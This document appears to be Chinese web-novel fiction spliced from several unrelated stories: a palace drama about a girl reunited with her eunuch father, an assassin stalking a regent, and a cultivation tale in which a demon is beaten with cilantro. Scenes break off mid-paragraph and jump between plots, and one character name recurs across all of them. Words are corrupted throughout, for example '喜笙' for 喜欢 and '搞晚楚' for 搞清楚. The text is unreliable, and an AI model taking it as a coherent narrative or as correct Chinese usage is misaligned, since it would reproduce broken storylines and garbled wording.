“别哭了,快来跟我喂老虎!” 说着,她拽上温晚笙的胳膊,不由分说地把她带到笼前。 此时,笼中的银虎已靠到笼边,威武的身躯足有两个温晚笙那么高,健壮的四肢踩在地面上,每走一步都仿佛能感受到地面的颤动。 这边的动静终于引起其他人的注意。 裴怀璟正要翻页,忽听随侍说:“殿下您看!” 待他抬头,温晚笙和裴兰湘已举起了兔子,兔子的大半身体都伸进笼子里,只要再往前一点,她们的胳膊也要伸进去了。 “住手!”裴怀璟来不及细想,猛然站起来,“不可!” 一声疾呵,止住两人往笼里伸的手指。 温晚笙第一时间将手指缩回来,兔子落在地上,只余掌心里又湿又黏的血水,她胸口阵阵发紧,呼吸都变得艰难起来,冷风一吹,才发现浑身衣衫都被冷汗浸透了。 她木然地去寻发出声音的人,就见裴怀璟大步走来。 裴怀璟冷着脸,一把打下裴兰湘手里的死兔子:“你们在干什么!不要命了是不是!” “皇、皇兄……”裴兰湘有些意外。 她从小受宠,有时连父皇母后的话都能反驳,可唯有这个裴怀璟皇兄,是她从来不敢顶撞的。 她难得见皇兄生这样大的气,一时有些呆住。 而裴怀璟已向宫人问责起来:“这是怎么回事?之前不是跟你们说过吗,不可靠近铁笼,为何六公主和时姑娘都要把手伸进去了?” “你们难道不知道,瑞兽一旦发狂,力道足以将喂食之人生拽进去吗?但凡六公主和时姑娘有个三长两短,尔等如何担责!” “殿下恕罪……”宫人跪倒一片,当即将前因后果向裴怀璟讲明。 越听下去,裴怀璟的脸色越是难堪。 当最后一句话落下,他愤然一挥袖摆:“简直胡闹!” “湘儿——”他指向裴兰湘,张口欲要训斥,余光中正在发抖的另一人却叫他停下呵责,转而看过去。 温晚笙呆呆地看着掌心里的血渍,一时分不清到底是兔子的血还是自己的血,刚才在地上擦过的伤口开始火辣辣的刺痛,可她又好像感觉不到似的。 “还不来人,带时姑娘下去换身衣裳!”裴怀璟又是一番吩咐,实在信不过这些临时调来的宫人,只好请皇后身边的姑姑帮忙。 “时姑娘,跟奴婢这边来吧。” 温晚笙抬起头,迟钝地看了她好久,才明白过来裴怀璟的意思。 感觉到眼眶里好像有什么要落下来,她赶忙低下头,细弱蚊蝇地答应一声,又把染血的那只手藏到背后去。 眼看温晚笙被带走,裴怀璟收回视线,声音里终带了一丝火气:“母后叫你照顾时公公的女儿,你就是这样照顾的吗?” “我——”裴兰湘终于意识到出格。 可她咬紧牙关,半天也只喊出一句:“那又怎么样!母后喜欢她,我可不喜欢她,我最讨厌她了!” 明明她才是皇后的女儿,凭什么一个第一次入宫的小丫头,能这样轻而易举地得到母后宠爱,甚至说出“正喜欢”的话来? 裴兰湘就是看不惯温晚笙受皇后喜欢的样子。 皇后是她的娘亲,就该只喜欢她才对!冬日的暖阳挥洒在山野间,出来觅食的野鸡发出叽叽咕咕的声音。 一片空荡的山头上,伴随着阵阵簌响声,只有一大一小两道身影上下起伏着,从一边走到一边,再重新回去,循环往复不止。 而那原本被杂草包围的坟头已清理出大半,边上枯死的树苗也被拔除,压在坟头上的大块石头被搬走,最后只余一座小坟包。 在这一片肃穆静寂中,只能听见稳重的脚步和断断续续的喘息。 温晚笙跪趴在地上,小心用手收拢着残余的草根,偶尔碰见被翻腾出来的小虫,也强忍住心底的恐惧,咬紧牙关将它们捏走。 起坟之后,剩下的事就简单方便许多了。 时序经过裴全思考后,决定将杨二丫的遗躯火化,而后带回京城,长久供奉在京郊的长安寺中,橡木村老家只留她的衣冠冢。 火化当日,整个临榆郡的高僧都被请至望蜀村后山,声势之大直接惊动了当地官府,最终还是由时一出面,方免去许多无用的寒暄。 日头升至高空,时序将火把丢到高高垒起的木堆上。 一阵北风袭来,火势骤然变大,不过顷刻就将上面着锦衣的躯体吞没。 与此同时,梵音响起,僧侣拨动手中串珠,诵响往生咒。 温晚笙就跪在不远处,她这几天哭了太多回,眼睛已经完全红肿了,望着眼前撩人的火焰,再也流不出一滴泪,只剩干巴巴地盯着,再见母亲最后一回。 时一和时二依旧护在她身后,见状垂下双眸,无声默哀着。 这一把火烧了多久,温晚笙就跪了多久,耳边的梵音也响了多久。 时序始终挺立在火旁,仿佛感受不到火焰的灼热,亲眼看着大火中的颜色越来越少,直至彻底与火焰融合在一起,化作一片灰白。 裴兰湘眼里也含了泪,却如何也不肯将心里的嫉妒讲出来。 裴怀璟一阵头疼,正要问清楚她在想什么。 就在这时,一道熟悉的声音响起:“什么喜欢讨厌的,湘儿讨厌谁呢?阿归呢,我怎么没瞧见阿归?” 转头一看,皇后与皇帝并肩走来。 落后他们一步处,时序也向四裴环顾着,正是在找温晚笙的模样。 “她——”裴怀璟下意识看向时序,想到刚才他刚才在揽芳殿的剖白,只觉处处为难。 他闭了闭眼睛,睁眼一片清明:“母后恕罪,儿臣未能完成母后嘱托,时姑娘受了惊,被带去换衣裳了。” “是孤的过失,孤给公公和时姑娘赔个不是。” 话落,他站直身体,冲时序拱手而拜。 女人多是感性的,何况是刚听了温晚笙前些年的艰苦遭遇,好不容易找到了亲爹,虽是不愁吃穿,可毕竟已不是什么寻常男人。 皇后并不轻视宦官,但有些差距是摆在明面上的,是再多金钱权利和地位都弥补不了的,多少人不当众说,可到了私底下,仍是少不了轻蔑一句:“有权有势又如何,一个太监,算什么男人……” 皇后心底唏嘘,又是喜欢又是怜悯的,牵着温晚笙就往阶上走。 温晚笙下意识往阿爹那边看,当头撞见时序眼中的鼓励,似乎并不觉她跟着皇后走有什么不对,也不怕她做出什么失礼的举措来。 她无端想起宫道上阿爹说与她的话。 谢衡之神色微顿,低首道:“裴公子言重了。” 在旁人面前,他理应松手,理应顾忌她的清誉。但见少女依旧将手安稳地放在他掌心里,他竟也不想松开这份难得的温热。 而陆子昂捂着心脏,嘴巴张了又合,合了又张,神态夸张得像见了鬼:“你们……你们……” 温晚笙没想到裴怀璟是真的来道歉的。 怔了一会儿,她顺势抛出一句令在场所有人,都猝不及防的话。 “我和谢大人要定亲了。” 第 94 章 第 94 章 谢衡之侧目,恰与少女澄澈且笃定的目光相撞。她的眼里,还有一缕恳求。 这样的大事,她从未与他商量过,他也从未奢求过。 于他而言,哪怕只做过半年师生,这份动念便已是罔顾伦常。 明知不可为,可妄念仍在悄然滋生,生根发芽,拔不干净。 这半年以来,他从来无法抵抗她的靠近、她的依赖,她的亲呢。 挣扎到最后,也不过是认清一件事:爱上一个人,当真毫无缘由。 像春花开,像秋叶落,爱上她,是无法抗拒的天意。 他的指腹克制地摩挲了一下少女的手背,如她所愿,没有出声否认。 他想自私一回,不再顾及所谓的清名与身份。他还想,与她成亲。 裴怀璟低垂着眼,薄薄的眼皮透着脆弱又颓靡的绯色,像两片被露水打湿的梅花瓣。 时序扯了扯嘴角,面上仿佛含了笑,偏生眼中的神色越发寒人。 他抬手挥退左右侍从,纡尊降贵走到温晚笙跟前,沉吟片刻:“唔——你可知上一个找我认亲的,下场如何了?” 那大概是两三年前的事情了。 彼时先帝病危,他所扶持的三皇子成为帝位最佳人选,而他作为三皇子最信重之人,在京中已隐有大权在握之势。 当初害他入宫的林家人不知从哪儿找来一个男童,信誓旦旦说这是他的亲儿子,流落在外几年,好不容易被他们寻回来,只求看在孩子的份上,双方恩仇相抵,时序能高抬贵手,放他们一马。 为说明男童身份的真实性,他们还拿出一枚玉佩,玉佩的成色极是一般,整体泛黄,内里更是有许多杂质,是好多街上小摊最常见的配饰,论价值最多超不出一两去。 时序一眼认出,那是他与妻子的定情之物。 只是对方话语中有着诸多漏洞,时序收回玉佩,又将男童抱回府中,一面悉心抚养着,一面派人寻着线索找过去。 自他入京赶考出事后,那已是他第三次打探妻子和家人的消息,他与妻子成婚五年,家有爹娘兄妹,尚未有子嗣。 当年他被陷害后,动手的人还找去他家乡,将他所有家眷一并残害,其中自然也包括他的妻子。 林家人跟他说:“当年的事是我们做得不对,你的家人遇害虽然与我们也有干系,但到底不是我们动的手,都是底下人自作主张,如今我把他们带过来交由你处置,冤有头债有主,只望你莫要伤害了无辜人。” “还有这孩子,也是我们几经辗转才找到的,原是你的妻子当年怀了身孕,回娘家省亲时逃过一劫,只可惜生产时难产,只留下这个孩子。” 时序为对方的虚伪感到可笑,暂时的引而不发,也叫他得知真相后彻底失控。 打探消息的人回来说,并没有什么妻子逃过一劫的说法,不光是他的家人惨死,就连他的岳家也受了牵连,一夜之间从村子里消失。 至于他们抱来的男童,实际是林家的嫡幼子,因自小体弱,一直小心养在深宅,除却家里还没有见过外人。 如今正好以假乱真,装作是时序的孩子,待他将孩子抚养长大,林家也修养过来,再里应外合,予他致命一击。 新仇旧恨加在一起,时序杀红了眼。 与他起争执又让他遭了宫刑的罪魁祸首被千刀万剐,林家众人也因各种罪名先后入狱,凡与时家惨案有关联的,皆由他亲手处死。 最后是那个被时序抱回家养了两月的男童,他将孩子抱回他爹娘身边,当着他们的面,生生将其溺死。 望着那双抱着孩子痛哭的父母,时序笑着笑着落了泪。 他声音悲怆:“若非尔等,我的孩子也该如他一般大了,凭什么你们能享受儿女环绕,而我再无儿孙满堂机会?” 从最卑贱的洒扫太监到大权在握,时序只用了短短三年。 外人只道他冷血阴狠,却不知午夜梦回,他无数次被无辜惨死的妻子和家人惊醒,而那与他一生无缘的子嗣,更是他做梦都不敢梦到的,遑论提及妄想。 温晚笙哑然。在鬼市子,卖武器的铺子和摊位很多,黎安在走走停停,将所需要的飞镖、吹箭、袖箭、银针都一一备齐。 偶然路过一家摊子,看到摊位上有买小型手.弩的,黎安在被吸引得停下脚步。 手.弩小巧轻便、射程较长、易于操作,黎安在狠狠心动了一下,摸了摸怀中揣着的有些干瘪下去的钱袋子,最终一咬牙,还是买了下来。 毕竟据楼中密报所说,摄政王周身护卫众多,极难突破,如果数次尝试都不成,远距离射杀,也不失为一种办法。 这么想着,黎安在的思路宽了起来,如果能用长弓淬油,远远点燃马车,将摄政王从马车中逼出,再使用手.弩,更加保险。 于是黎安在又去买了些淬火油。 将装备购置得差不多了,也到了鬼市子散市的时候,有“船夫”和“打更人”陆续沿着青石板路敲击铜锣,提醒大家时辰已到。来往的客人逐渐沿着矿道向外走,摊贩、商贾也一一收拾好自己的商品,熄灭火折子和灯笼,打包,随着人流逐渐离开矿洞。 黎安在也跟着人群向外走。 忽然,余光里看到一个妇人,却没有任何要离开的意思,不慌不忙地用铁钳从炉膛中夹出烧得赤红的铁料,放在砧板上,用粗壮的手臂轻轻松松拎起一旁沉重的铁锤。 黎安在停下了脚步,开口提醒:“大娘,快要闭市了,您不走吗?” 妇人抬头看了黎安在一眼,见眼前的人戴着兜帽覆面,把自己遮挡的严严实实,她虽然听不清眼前人说的内容是什么,只闻但音清亮纯粹,语气中也只是单纯的好奇。 妇人指了指自己的耳朵,大声问:“大点声,听不见。” 黎安在抬高声音,再次重复了一遍问题。 “哦,”妇人听清了,回头指了一下身后的小木屋,大声说,“我住这。” “咦?” 黎安在只知道商贾于四更前来布市,客人五更前来与商人买卖,至天微明散市,还从未听说过有人住在地下矿洞中。 妇人开始打铁,猛地扬起手中千钧的铁锤,骤然落下。 铛——! 一声巨响,黎安在站得近,被震得耳膜嗡嗡作响,那名健壮的打铁妇人却完全不受影响,甩开了膀子,抡圆了胳膊,肌肉鼓张紧绷,铛铛铛地,一锤一锤砸落在烧红的铁块上,一霎时火星四溅,照亮妇人被炉火灼得通红的脸颊。 很快,铁块就被捶打成弯弯的一条,初具镰刀的形状。 黎安在的目光被吸引住,痴痴看着妇人打铁时矫健的样子,看火星明灭如金雨倾洒,一双澄澈如星的眼眸中里面盛满了纯粹的、几乎要溢出来的钦佩。 黎安在心思单一专注,惯来会被许多事物所吸引。 元宵节夜里,路边老人绘制的糖画;清晨屋檐间,蜘蛛一圈一圈织出结露的网;夕阳西下时,暮色在小院中映出师兄师姐练剑的身影……世间一切细枝末节但却充满意趣之物,都能令他站在那看上一天。 因此郑长柏常常说他,是个习武练剑的好苗子。 妇人将形状初具的铁块钳起来,重新投入炉火深处,一擦头顶的汗,回头见黎安在仍在一旁,不禁问道:“你有什么事?” 黎安在真诚地问:“大娘,您这里可以定制铁器吗?” “当然。”妇人豪爽地叉着腰说,“只要你能描述出来,我就能打出来。” “太好了!”黎安在立刻从衣袖中取出之前早已画好的一幅图纸,双手递过去,“您看看,这样的可以吗?” 妇人接过,打开一看,缓缓点头:“没问题,稍有些复杂,你五日后来取吧。” 黎安在付过定金之后,跟着行人一起离开鬼市子。 出了矿洞,侵晓天色朦胧,微有薄雾。 黎安在脱下外面披着的麻衣斗篷,摘下覆面,卷了卷放进包裹中,装作晨起上工的百姓,在御街外侧的红杈子道上,缓缓向北走,等待着。 终于,从身后远远传来马车车轮雷霆般驶过的声响。 来了。 黎安在抬起头,果然见四匹纯黑大宛马驾着的阔丽马车,在御街上自南向北轰鸣驶向宣德门。 是摄政王的上朝时间。 黎安在默默记下。 八月中秋,是夜银河耿耿,玉蟾圆明高悬在空。 皇宫内,李中桓刚举行完祭月典仪,尔后登上太液池,与群臣共赏盛世之景,看京城万家灯火鼎盛。 京城内,枕水楼。 前头的酒楼里热闹不凡,灯火璀璨,彻夜不眠,来往宴饮的宾客觥筹交错,推杯换盏。 而奢华高耸的酒楼背后,小院儿的丹桂丛下,石桌上一面铺开甜点、石榴梨枣、螯蟹、清酒。矮墙边的秋菊开得正浓,郑长柏带着徒弟几个围坐在小石桌周围,豪放一掷,将酒杯一字排开,斟满,此时花在怀中,月在杯中。 却唯有黎安在一个,自顾自穿上了夜行衣,用红绳束起长发,将覆面在脑后紧紧系好,揣着长剑,就要出门。 “小黎!”郑长柏高声叫住他,“这么晚了,不来跟师父吃酒赏花赏月,这是要上哪儿溜达去?” “师父,”大师姐柳卓明无奈拽住郑长柏,“小黎不胜酒力,你又不是不知,怎能拽他一同胡闹。” 黎安在板着一张小脸,一字一顿,认真地说:“出去杀人。” 说出口的内容,和那张在月光清辉下尤为乖巧的脸一对比,显得格外反差。 少年面容如玉,眼神澄澈,在月光的映照下,有些像是含了一剪沁着凉意的秋水,不是温柔脉脉,反而是临风飒飒的意气,笔直且真诚地望过来时,让人觉得少年俊俏、干净,不染纤瑕,没有一丝杂念,如最纯粹的玉石,坚定且执着。 郑长柏明白了,按照黎安在的性子,揽下来的活计完不成,就会变成死倔的一头小驴儿,胜负欲满满的,绝对会持之以恒地把事情完成才肯罢休。 估计燕歧那装模作样的老狐狸就是深知这一点,才画了个圈儿埋下陷阱,等着黎安在往里跳。 知晓一切的师父心累,郑长柏按按眉心,挥了挥手:“小黎,早去早回。” “好的师父!”黎安在转过身,抬起手臂挥手,“不用等我回来!” 他要今夜去摄政王府刺杀燕歧。 上次刺杀失败之后,黎安在并没有懈怠,他依旧每日暗中观察燕歧的行踪,以及通过坊间市井的小道消息,和鬼市子的情报,打探燕歧未来的行踪。 功夫不负有心人,终于被黎安在找到了绝佳的机会。 就是今晚,中秋夜,燕歧依旧如往日习惯那样,完全不参加任何宴饮,日常工作结束后,便直接打道回府。 不在宫中,近身便容易许多,行动后逃离,也比在宫中方便。 除此之外,黎安在还打探到,燕歧每逢节日时,都会放府中下人回家,与家人团聚。 所以今夜,摄政王府内的防守空虚,正是行刺的绝佳时机。 黎安在微微低头,将兜帽向下扯了扯,闪身走进暗巷。 走进暗巷之前,黎安在回头看了一眼。 州桥夜市中,每家店铺都重新结络了门面,装饰一新,竖起了雕绘话头的花杆,如游鱼般亮澄澄的灯笼用一根长杆支着,笙芋之声传至大街小巷,好似从夜幕中的云端传来一般。 有小贩推车叫卖,半大的孩童牵着娘亲的手,指着热腾腾的炒栗子,撒着娇:“娘~娘~我想吃~” 黎安在静静地为热闹的集市留下一瞥,少年的眼眸中映着繁华灯火,他的眼睫如蝶翼般翩跹,眼底划过一抹艳羡。 艳羡一闪而逝,黎安在微微合拢双眼,再睁开时,眼中就只剩下了志在必得的坚定。 他闪身从暗巷中穿梭,轻而易举地出了内城,无声潜入到摄政王府内。 他的情报没错,摄政王府内静悄悄的,连持着灯火巡逻的护卫都只剩零星几个,王府内只剩下小桥流水潺潺、促织窃窃。 这几日,黎安在已经将摄政王府内的地形全部摸清,并熟记于心。 他依着记忆,悄无声息地来到了燕歧居住从侧屋屋顶。 说来也奇,偌大一个王府,除却下人之外,燕歧连一个家人都没有,正屋更是空荡下来,无人居住,堂堂一人之下万人之上的摄政王,竟然屈尊居住在侧屋。 此时燕歧不在屋中,正在不远处的一片竹林中的空地练剑,黎安在特意绕了个远路,蹲在房顶悬鱼之下,静静地观察燕歧的行动,挑拣合适的动手实际。 月光如水倾入竹林,剑锋凌空劈开竹月朦胧的色泽,一招一式皆劲劲有力,银芒闪过劈向青竹,剑刃未至,但杀意已凛然,青竹应声被劈作两段。 燕歧手挽剑花,收剑入鞘,凌起的长发重新落下,右耳后用红绳编成的一小段短辫轻轻摇曳,和剑穗一同缓缓静下。 这一套剑法下来,男人身姿凌厉霸气,竹月色下挥剑的动作气势斐然,比他师父都帅,黎安在看得专注极了,双眼越来越亮,几乎看痴了,不禁双手合掌,就要拍手大声称赞——好! 双手就要拍击到一起,黎安在这才猛地想起,自己潜伏在刺杀对象府中的房檐上! 黎安在猛然一顿,险些就将方才心里想的那一句“好”脱口喊出,他立刻收手,仓皇用双手捂住嘴巴试图让自己闭嘴,而然而惯性却无法收回,一个趔趄,差一点就从房檐上掉下来摔到地上。 喀拉。 很轻的一声响,黎安在失误,不留神踩翻了一块瓦当,整个人翻了下去。 黎安在心下一空,立刻用双手攀住房檐,腰身用力,重新蹲在房檐的横柱,连忙把自己藏在博风板后面。 刚刚那一声响动很轻,和燕歧也有一段距离。 黎安在双手捂住嘴巴,只敢从博风板后露出一只眼睛,小心翼翼地观察燕歧的动向。 很好……燕歧只是将长剑从腰间解下,放在一旁的石凳上,站着休息。 黎安在轻轻松了一口气,将双手放下。 太好了,燕歧没有听到声音,没有发现异常。 黎安在安心地从博风板后钻出,这次的动作更加小心,连房顶上都一片瓦都没有惊动,趁着燕歧回屋之前,轻巧地钻进侧屋内,将自己藏在房梁的隐蔽处。 燕歧进了屋子。 黎安在盯。 燕歧将长剑挂好。 黎安在盯。 燕歧解下外袍,置于衣桁上。 黎安在盯。 燕歧推开另一间屋门,走到屏风之后,那里早已备好了盛满热水的浴桶,水汽氤氲。 黎安在倒腾着小碎步,在房梁上无声蠕动,换了个角度继续盯。 燕歧开始慢条斯理地一层一层褪下衣物,露出强健有力的胸膛。 黎安在盯……黎安在盯不下去了,耳根微微发红,他移开了视线。 不知是不是这间屋子内水汽太热,将他的脸颊蒸得发烫,甚至有些呼吸不畅。 黎安在缓缓在房梁上后退,这次涨了记性,时刻注意着脚下。 黎安在挪出了那间屋子,才缓缓松了一口气。 虽说他是刺客,要挑着刺杀对象最无防备的时机出手,沐浴之时,就是一个人最放松的时候,此时成功的概率最大。 然而,黎安在却犹豫了。 他确实难易趁人之危,虽然这样省事,但至少,至少也应该寻一个对方衣着整齐端庄之时行刺。 不然,倘若他真的在浴桶中将燕歧杀死,第二日尸体被人发现,赤条条地死在浴桶中,那……对于高高在上的摄政王来说,也太不体面了些。 还是等等罢,等燕歧沐浴更衣过后,那时再下手。 黎安在静静地蹲在房梁上,过了半晌,终于,燕歧随意披着一身玄色里衣,露出半个胸膛,发尾湿漉,带着一身水汽,赤足从那间屋子中推门而出,懒散地倚坐在案前。 燕歧抬手,宽大的衣袖就沿着胳膊一直滑落至手肘,露出肌肉紧实的小臂。 黎安在自动忽略对方大咧咧敞开的领口和裸.露的皮肤,一双眼只专注地盯着燕歧的脖颈。 卯时一刻。 黎安在很善于隐匿气息,不动声色地将自己和周围上工的百姓融为一体,却暗中将摄政王车架的路线和时间牢牢记住。 这之后的五日,黎安在每日定时在晨昏二时,于御街周围窥视摄政王的行迹,用纸笔记录,午间在右掖门蹲守摄政王的吃食来源,晚间潜入摄政王府邸中,暗中观察摄政王晚间活动,并顺带着将府邸内的地图补充完整。 然后黎安在去鬼市子取了新打好的武器,又继续暗中观察摄政王的行踪。 “六日!” “整整六日!” 黎安在趴在枕水楼后院的桂花树上,再次自挂东南枝。 “师姐,你知道这六日我是怎么过来的吗!”黎安在吊在树上,晃晃悠悠,悲愤开口,“那燕歧好恐怖,他每夜只睡两个时辰,而且警惕极了,我踩过房顶上的瓦片,几乎没有声响,他都会睁开眼睛!我根本就没机会下手……” 书里只说掌印的妻子是杨氏,并没有说过名姓。 而她穿越来后,时杨氏只剩最后一口气,咽气后因是出嫁的寡妇,也无法入杨家的祖坟,最后被抬去村子后面的野山包上埋葬。 温晚笙只隐约听谁提过一嘴,说什么“二丫命苦”。 倒是时序见她怔住,才生起的一点希望骤然落空,好不容易才暖了一点的眼神重新变得冰凉。 他怒极反笑,忽尔站起来。 温晚笙撑在他膝上的手一下子落了空,身体不受控制地往前倾倒,又是噗通一声,毫不客气地摔在时序鞋面上。 好在有鞋面的缓冲,温晚笙没觉出疼来。 她浑身一个激灵,大声喊道:“叫二丫,娘亲叫杨二丫!” “你说什么!”时序身体一震,猛地抓住温晚笙的肩膀,便是听她呼痛也没有放松分毫,只躬身半蹲下去,死死盯住她的眼睛。 时序问:“那你叫什么?” “我、我叫温晚笙……娘亲说有我在,阿爹便有归来的那天。” 还是那句话,温晚笙并没有与原身母亲相处的经历,只是故人已逝,许多话已是无从考证,只能她说什么便是什么。 她眨了眨眼,泪水滴滴答答:“爹爹、阿爹……我疼——” 时序手上仿佛触了电一般,当即松开箍在她肩上的手。 他深深吐出一口气,最后问道:“那你从何而来,又是如何抵达京城,如何找到我府上来的?” 温晚笙全无隐瞒,老实回答:“我从西山村来,是跟着舅舅一起来的,娘亲临终前托舅舅带我上京寻亲,我们便来了……舅舅叫杨元兴,他、他,我和舅舅在城门走散了,我也不知怎么走来这里的。” 说到最后,她的目光有些躲闪。 但时序全被前面的话所吸引,或是没有注意到这点小反常,又或者是注意到了,却觉得没有太多计较的必要。 “杨元兴……”沉在记忆深处的名字,叫时序一时恍惚。 说起他和妻子杨二丫,两人也算是青梅竹马。 时家和杨家是邻居,时序是家里老四,杨二丫在杨家则行二,两人只差一岁,因是一起长大,家境又一般无二,到了年岁后,很自然而然地就说了亲事。 虽然时序是村里唯一的读书人,小小年纪又过了乡试,但时家并非那等攀龙附凤的,两个孩子喜欢,家里也就不多说什么了。 杨家看重时序的本事,一心想做官老爷的亲家,嫁女儿时连聘礼都没要,只是希望时序念书时能带一带最大的小舅子,稍微识上几个字就行,将来也好去镇上做一个体面的账房先生。 这小舅子便是杨元兴。 杨元兴倒是想学点本事,奈何实在没那个慧根,他自己又不愿吃苦,才跟着时序学了两个月就受不了了,转说想去外面闯荡,跟姐夫讨了十两银子。 有着一起长大的情谊,时序和杨二丫对彼此很是熟悉,成亲两年从没有过争吵,时序一心考取功名,杨二丫则做他的贤内助。 有时家里会催他们赶早要个孩子,夫妻俩倒是一致说辞:“不着急,等我/夫君入京赶考回来也不迟!”说完,两人相视一笑。 又过三年,时序二十,赴京赶考。 却不想飞来横祸,时序因连中两元,在京中颇有些名气,有一贵女欲挑他为婿,而林家人又一直想与女方家结亲,哪怕时序以家有发妻明确拒绝过,还是被林家人忌恨上了。 再后来时序被林家陷害科举舞弊,夺了他功名不说,转头又给他扣了一顶谋逆的帽子,侥幸逃过一死,却是以入宫为宦为代价。 只温晚笙口中吐出的一个名字,就让时序无可避免地陷入对过去的回忆中,久久无法回神。 思绪回转,时序缓缓蹲下去,视线与温晚笙身子平齐,目光却是越发不善,眼中隐有血色。 他又问了一遍:“你猜你的下场,又与他们有何不同?” 等在不远处的时一等人浑身发寒,大气不敢喘一声,抓着佩剑的手心里全是汗渍。 整个京城的人都知道,司礼监掌印最不能提及的逆鳞,便是其家眷。 时一如今只是后悔,傍晚碰见那小丫头时就该直接把她捉拿了去,若简单粗暴将其锁起来,哪里会有现在的一幕。 他们已经不敢想,待掌印将这小孩处理后,心情会有多糟糕,他们这些下属又会遭受何等牵连。 对于旁人的想法,温晚笙却是一概不知。 她挣扎半天,好不容易将拧在一起的袖口挣开,被冻得通红的小手露出来,一只去擦眼泪,另一只则落在时序膝盖上。 她抽噎一声,瑟瑟说道:“不、不知道,我不晓得……但我真是你的孩子,娘亲病逝前叫我来京城找阿爹,你就是阿爹……” 时序眼皮蓦然一跳,明明没有任何证据,可他还是莫名有些心悸。 半晌后,他问:“你娘叫什么?” “解药。”她只说了两个字。 她怎么就忘了。 书里,裴怀璟本来就是个不懂情爱悲苦的人,不可能把别人的性命当一回事。 有第一次,就有第二次。 他这样的人,太可怕了。 她为什么直到现在,还喜欢着这样的人。 裴怀璟的长睫重重地颤着,湿意漫上来,透着无尽的悲凉。 “解药在郦国,对,在郦国。“ 他神情恍惚,哀求道:“随我去郦国,我便给你。” 第 95 章 第 95 章 翌日,天色将明未明。 温晚笙确定了谢衡之没有醒来的迹象,而太医院的人依然束手无策,决定死马当活马医,跟裴怀璟去郦国。 她当然没跟父亲说实话,而是说自己去谢家陪谢令仪。至于能不能瞒得住,她也不知道。 两辆一模一样的马车停在城外。 陆子昂趁着裴怀璟去为少女买吃食的间隙,悄悄溜到她身边,“你真要一起走吗?” 温晚笙瞟他一眼,“当然。” 陆子昂左右张望了一下,确认某人还没回来,这才往前凑了凑,压低声音道: “虽然吧,他快醋死了,但那毒还真不一定是他下的。” “而且这几个月,他一直” 话音未尽,身后传来脚步声。 裴怀璟拎着她喜欢的糕点回来了。 山洞外的雨渐渐停歇。 天色依旧阴沉,空气中弥漫着一股烂木头味道,连呼吸都觉得难受。 颜胥见她不说话,自以为戳到了她的痛处,语气也逐渐嚣张起来:“怎么,不敢承认了?想让他喜笙上你吗,你求我啊,只要你付出代价——咳咳咳” 女人洋洋得意的挑衅到此为止,因为在她还没反应过来的时候,温晚笙一把捞起地上的香菜,二话不说便塞进她的嘴里。 诡异而又古怪的气味随之传来,颜胥沉寂已久的白眼开始翻滚。 温晚笙拍拍手,随便找了个大石头坐下,冷哼一声。 “搞晚楚,现在你才是处于劣势的那方。”她按着她的头,又把即将掉出来的香菜塞进去,“你不是很喜笙香菜吗,你不是什么东西都喜笙放香菜吗,怎么现在开始这种反应了?啊?你说话啊?” 她说不出话,手脚无意识地乱蹬抽搐着,感觉若是再这样保持,她恐怕是马上就要过去了。 温晚笙见好就收,把她嘴里的菜叶子全部抠出来。 “咳咳咳,我说错了,你们俩真是天生一对,都是一样的狠毒。”颜胥大声咳嗽,“我当时就不该心软,我就该直接杀了你们!” “得了吧,说的好像你没打算杀我一样。”温晚笙不吃她这套,捏着她的下巴强迫她抬头与她对视,似笑非笑,“若不是我及时催动传送符,师兄心细发现了你的秘密,这会儿我们二人都要死在你手里了吧。” “你胡说什么?!你以为就那点破烂菜叶能奈我何?要不是因为那小子是——”颜胥不服输地大喊起来,可说了半天又觉得好像有哪里不对劲,于是硬生生停下。 温晚笙用力捏捏她的下巴,意在催促她赶紧往下说。 “等等,你莫非不知道你师兄的真身是什么?” “真身?” 师兄不就是个普通的再不能普通的修士吗,天生废灵根,十三岁才引气入体,十五岁某次误打误撞获得了上古机缘所以一举跨越到金丹后期,但也从从此就停留在了那个阶段。 就连师尊都说,裴怀璟这怕是把下半辈子的运气都用光了,所以才会一直卡在金丹。 “你什么意思,你莫不是知道什么?” 见温晚笙一脸焦急,颜胥又开始得意起来,再次不知死活地发表作死言论:“你求我啊,求我我就告诉你——” 然后她再次不负众望地又被塞了一嘴香菜。 温晚笙拍拍手,用恨铁不成钢的眼神看她:“都说让你好好说话了,你到底懂不懂你现在的处境啊。” 少女叹出一口气,刚准备把香菜取出来准备好追问颜胥的时候,她周身开始出现了变化。 穿着平平无奇的女子紧闭双眼,在一片烟雾之中,逐渐恢复成了一副完全不同的样子。 那是一个长相妖娆成熟的姑娘。 柳叶眉瓜子脸,乌油油的头发梳成长辫子,眼下有一点泪痣,穿着蓝色碎花半臂襦裙,眉宇之间有股说不出的灵气。 温晚笙愣在原地。 她的第一反应就是掏出镜珠留下影像,第二反应则是快速上元灵境论坛搜索,看看能不能查到些什么。 还好雨停之后这山里的屏障也解除了,她顺利查到相关消息,这不查不知道,一查吓一跳,稍微一搜,才发现这家伙竟然是排在仙盟通缉令前五十,那个外号千面魔藤的鬼修。 按照通缉令上说的,她容貌多变,从来没有人见过她的真实长相。功法特殊,每天都需要进食新鲜的心脏,理由就是接触过她的那些修士死前都一脸安详,只有心脏的位置空缺了一块,长出一根藤蔓。 温晚笙过了好一会儿才弄明白方才发生了什么。 就在一刻钟以前,颜胥发现了他们,二话不说就开始攻击结界。本以为可以将他们一网打尽,没想到裴怀璟突然醒来,二人打的难舍难分,最后她被一把香菜击败了。 至于为什么是香菜 按照裴怀璟的说法就是,他昨天去买饼的时候注意到了,这个卖香菜芝麻饼的老板娘似乎从来不吃自己的饼,由此可见,她讨厌香菜。 “这是什么鬼理由啊!听起来就很扯吧!”温晚笙指着躺在地上双目无神的颜胥,感觉自己头顶的那根永远压不下去的呆毛现在翘的更高了,“而且为什么是香菜啊!给我好好和香菜道歉啊喂!” “师妹啊。”裴怀璟十分语重心长地拍拍她的肩膀,“所以你一定要多多观察,下次遇到敌人就看她害怕什么,他怕香菜你就给他香菜,他怕韭菜你就给他韭菜。” 观察个头啊!她才不想观察那种东西! 温晚笙撇撇嘴站起,回过头看了裴怀璟一眼,忽然意识到什么。 “等等?你刚刚说一刻钟?”她面部表情抽搐地看着跪在地上的颜胥,又看向在旁边玩剑柄的师兄,“所以说你早就醒来了?” 那她还忙活个屁啊!早知道这家伙可以自己醒,她就不弄什么狗屁灵心术了,直接放任他自生自灭得了。 她还差点嘎嘣在里头了,这家伙知道他在梦里梦里,发生了什么来着?怎么全都想不起来了。 脑袋空空一片,温晚笙非常烦躁,于是给山洞来了一拳。 少年回头看她,非常不解她为什么要殴打墙壁。 “怎么了?你又吃错药了?” “滚啊!你才吃错药了!” 